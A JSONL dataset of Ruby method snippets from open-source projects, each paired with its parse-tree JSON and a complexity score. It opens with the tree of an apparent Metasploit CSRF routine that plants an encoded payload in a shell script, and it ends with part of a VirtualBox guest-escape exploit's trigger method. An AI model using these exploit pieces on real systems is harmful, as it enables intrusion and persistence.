rebooted\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"str\",\"children\":[\"/var/run/config/timeout.sh\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\" & disown;\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"str\",\"children\":[\"/var/run/config/timeout.sh\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redirecting the admin to overwrite \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"; if successful, your session will come the next time a user logs in interactively\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redirecting the admin to overwrite \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" with the payload\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"file_payload\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" FILE_FIRST_AND_LAST\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET_SSL\"]}]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET_HOST\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET_URI\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\"
\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\"
\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"socket\"]},{\"type\":\"lvar\",\"children\":[\"html_payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]}]}]}","id":"ba5d092f-b648-4cc1-97f2-ffa25cf69338"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":22,"raw_source":"def visit_Arel_Nodes_DeleteStatement(o, collector)\n collector.retryable = false\n o = prepare_delete_statement(o)\n\n if has_join_sources?(o)\n collector << \"DELETE \"\n visit o.relation.left, collector\n collector << \" FROM \"\n else\n collector << \"DELETE FROM \"\n end\n collector = visit o.relation, collector\n\n collect_nodes_for o.wheres, collector, \" WHERE \", \" AND \"\n collect_nodes_for o.orders, collector, \" ORDER BY \"\n maybe_visit o.limit, collector\n maybe_visit o.comment, collector\n end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_DeleteStatement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"retryable=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"send\",\"children\":[null,\"prepare_delete_statement\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_join_sources?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"DELETE \"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"relation\"]},\"left\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" FROM \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"DELETE FROM \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"relation\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"wheres\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" WHERE \"]},{\"type\":\"str\",\"children\":[\" AND \"]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"orders\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" ORDER BY \"]}]},{\"type\":\"send\",\"children\":[null,\"maybe_visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"limit\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]},{\"type\":\"send\",\"children\":[null,\"maybe_visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"comment\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"9bc98eee-2022-4efd-be2c-9a4ec74c07e1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_processing/atomic_processing_service.rb","start_line":158,"raw_source":"def project\n pipeline.project\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"project\"]}]}","id":"604c313b-efd0-48b0-81b4-471bf706556d"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/query/results.rb","start_line":144,"raw_source":"def sort_criteria_array\n criteria = ::Query::SortCriteria.new query.sortable_columns\n criteria.available_criteria = aliased_sorting_by_column_name\n criteria.criteria = query.sort_criteria\n criteria.map_each { |c| c.map { |raw| Arel.sql raw } }\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sort_criteria_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"criteria\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Query\"]},\"SortCriteria\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"sortable_columns\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"criteria\"]},\"available_criteria=\",{\"type\":\"send\",\"children\":[null,\"aliased_sorting_by_column_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"criteria\"]},\"criteria=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"sort_criteria\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"criteria\"]},\"map_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}]}]}]}","id":"06c3a33a-c19e-4995-8347-cfa45462f3a9"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/favorited_filter.rb","start_line":73,"raw_source":"def favorited_project_ids\n Favorite\n .where(favorited_type: \"Project\", user_id: User.current.id)\n .select(:favorited_id)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"favorited_project_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Favorite\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"favorited_type\"]},{\"type\":\"str\",\"children\":[\"Project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"id\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"favorited_id\"]}]}]}","id":"b67f93ed-9583-4953-bfad-8160c1183c36"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/todo.rb","start_line":505,"raw_source":"def build_alert_target_url\n ::Gitlab::Routing.url_helpers.details_project_alert_management_url(\n target.project,\n target\n )\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_alert_target_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"details_project_alert_management_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]}]}","id":"89713728-8d99-42f8-8610-0c849e4d32d5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/image.rb","start_line":50,"raw_source":"def build_ports(image)\n image[:ports].to_a.map { |port| ::Gitlab::Ci::Build::Port.new(port) }\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_ports\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},\"to_a\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Ci\"]},\"Build\"]},\"Port\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}","id":"a5567527-0574-44bf-90ce-e52554fd29ca"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pglogical_subscription.rb","start_line":277,"raw_source":"def conn_info_hash\n {\n :dbname => dbname,\n :host => host,\n :user => user,\n :password => decrypted_password,\n :port => port\n }.delete_blanks\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"conn_info_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dbname\"]},{\"type\":\"send\",\"children\":[null,\"dbname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[null,\"decrypted_password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"port\"]}]}]},\"delete_blanks\"]}]}","id":"75d4b22b-7ef9-42e4-b290-9eacad5fdf44"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/preceding_following_alignment.rb","start_line":203,"raw_source":"def remove_equals_in_def(asgn_tokens, processed_source)\n nodes = processed_source.ast.each_node(:optarg, :def)\n eqls_to_ignore = nodes.with_object([]) do |node, arr|\n loc = if node.def_type?\n node.loc.assignment if node.endless?\n else\n node.loc.operator\n end\n arr << loc.begin_pos if loc\n end\n\n asgn_tokens.reject { |t| eqls_to_ignore.include?(t.begin_pos) }\n end","complexity_score":26.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_equals_in_def\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asgn_tokens\"]},{\"type\":\"arg\",\"children\":[\"processed_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nodes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"ast\"]},\"each_node\",{\"type\":\"sym\",\"children\":[\"optarg\"]},{\"type\":\"sym\",\"children\":[\"def\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"eqls_to_ignore\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"def_type?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"endless?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"assignment\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"operator\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"begin_pos\"]}]},null]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asgn_tokens\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eqls_to_ignore\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"begin_pos\"]}]}]}]}]}","id":"0c5931a2-cc08-4109-b8b7-e151610edb0d"} {"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/stackblitz_tag.rb","start_line":70,"raw_source":"def valid_param(param)\n (param =~ PARAM_REGEXP)&.zero?\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_param\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"PARAM_REGEXP\"]}]}]},\"zero?\"]}]}","id":"25a5edff-557d-4652-b624-5f0dc1c4c583"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/cleanup_refs_service.rb","start_line":64,"raw_source":"def delete_refs\n merge_request.schedule_cleanup_refs\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_refs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"schedule_cleanup_refs\"]}]}","id":"0dd3fbaf-4ecf-4c01-8086-22fb2c5a840b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/detect_dead_reference_links.rb","start_line":250,"raw_source":"def update_progress\n @processed_urls += 1\n percentage = (@processed_urls.to_f / @total_urls * 100).round\n bar_length = 50\n progress = ('=' * (percentage / 2)).ljust(bar_length, ' ')\n print \"\\r[#{progress}] #{percentage}% (#{@processed_urls}/#{@total_urls})\"\n end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update_progress\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@processed_urls\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"percentage\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@processed_urls\"]},\"to_f\"]},\"/\",{\"type\":\"ivar\",\"children\":[\"@total_urls\"]}]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"round\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bar_length\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"lvasgn\",\"children\":[\"progress\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percentage\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]}]}]},\"ljust\",{\"type\":\"lvar\",\"children\":[\"bar_length\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\r[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progress\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percentage\"]}]},{\"type\":\"str\",\"children\":[\"% (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@processed_urls\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@total_urls\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"5c0cd85b-6dc7-44ff-a7fa-7c8f5b3e6705"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/controller_generator_test.rb","start_line":108,"raw_source":"def test_does_not_add_routes_when_action_is_not_specified\n run_generator [\"admin/dashboard\"]\n assert_file \"config/routes.rb\" do |routes|\n assert_no_match(/namespace :admin/, routes)\n end\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_does_not_add_routes_when_action_is_not_specified\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"admin/dashboard\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"namespace :admin\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]}]}]}","id":"f3f5f2b8-5f85-4793-8bd4-99f6dd3adfef"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/auth/default_current_user_provider.rb","start_line":92,"raw_source":"def initialize(env)\n @env = env\n @request = Rack::Request.new(env)\n @user_token = env[USER_TOKEN_KEY]\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@env\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"USER_TOKEN_KEY\"]}]}]}]}]}","id":"d92c8733-cb4e-4220-8638-7f30cad8054f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/adapter_prevent_writes_test.rb","start_line":91,"raw_source":"def test_doesnt_error_when_a_use_query_is_called_while_preventing_writes\n ActiveRecord::Base.while_preventing_writes do\n db_name = ActiveRecord::Base.configurations.configs_for(env_name: \"arunit\", name: \"primary\").database\n assert_nothing_raised { @conn.execute(\"USE #{db_name}\") }\n end\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_doesnt_error_when_a_use_query_is_called_while_preventing_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"while_preventing_writes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"arunit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]}]},\"database\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"USE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_name\"]}]}]}]}]}]}]}]}","id":"4b3dc890-529c-4fc9-a570-baa6df184259"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/scram_sha_256.rb","start_line":140,"raw_source":"def parse_server_response(string)\n string.split(',')\n .each_with_object({}) do |key_value, result|\n key, value = key_value.split('=', 2)\n result[key.to_sym] = value\n end\n end","complexity_score":10.75,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_server_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_value\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_value\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"942ec627-b5fc-46ea-af2d-ba5a516fc96d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_links/destroy_service.rb","start_line":35,"raw_source":"def remove_relation\n link.destroy!\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link\"]},\"destroy!\"]}]}","id":"b2cc4869-99a9-49e8-9bbc-ba547c20119d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/virtual_box_opengl_escape.rb","start_line":198,"raw_source":"def trigger(buff_addr, buff_length)\n msg = \"\\x00\" * CALL_EA_MSG_SIZE\n\n msg[4, 4] = [@client_id].pack(\"V\") # u32ClientID\n msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack(\"V\")\n msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack(\"V\")\n msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack(\"V\")\n msg[20, 4] = [@client_id].pack(\"V\") # u32ClientID\n msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack(\"V\")\n msg[32, 4] = [buff_length].pack(\"V\") # size_of(buf)\n msg[36, 4] = [buff_addr].pack(\"V\") # (buf)\n\n result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)\n\n result\n 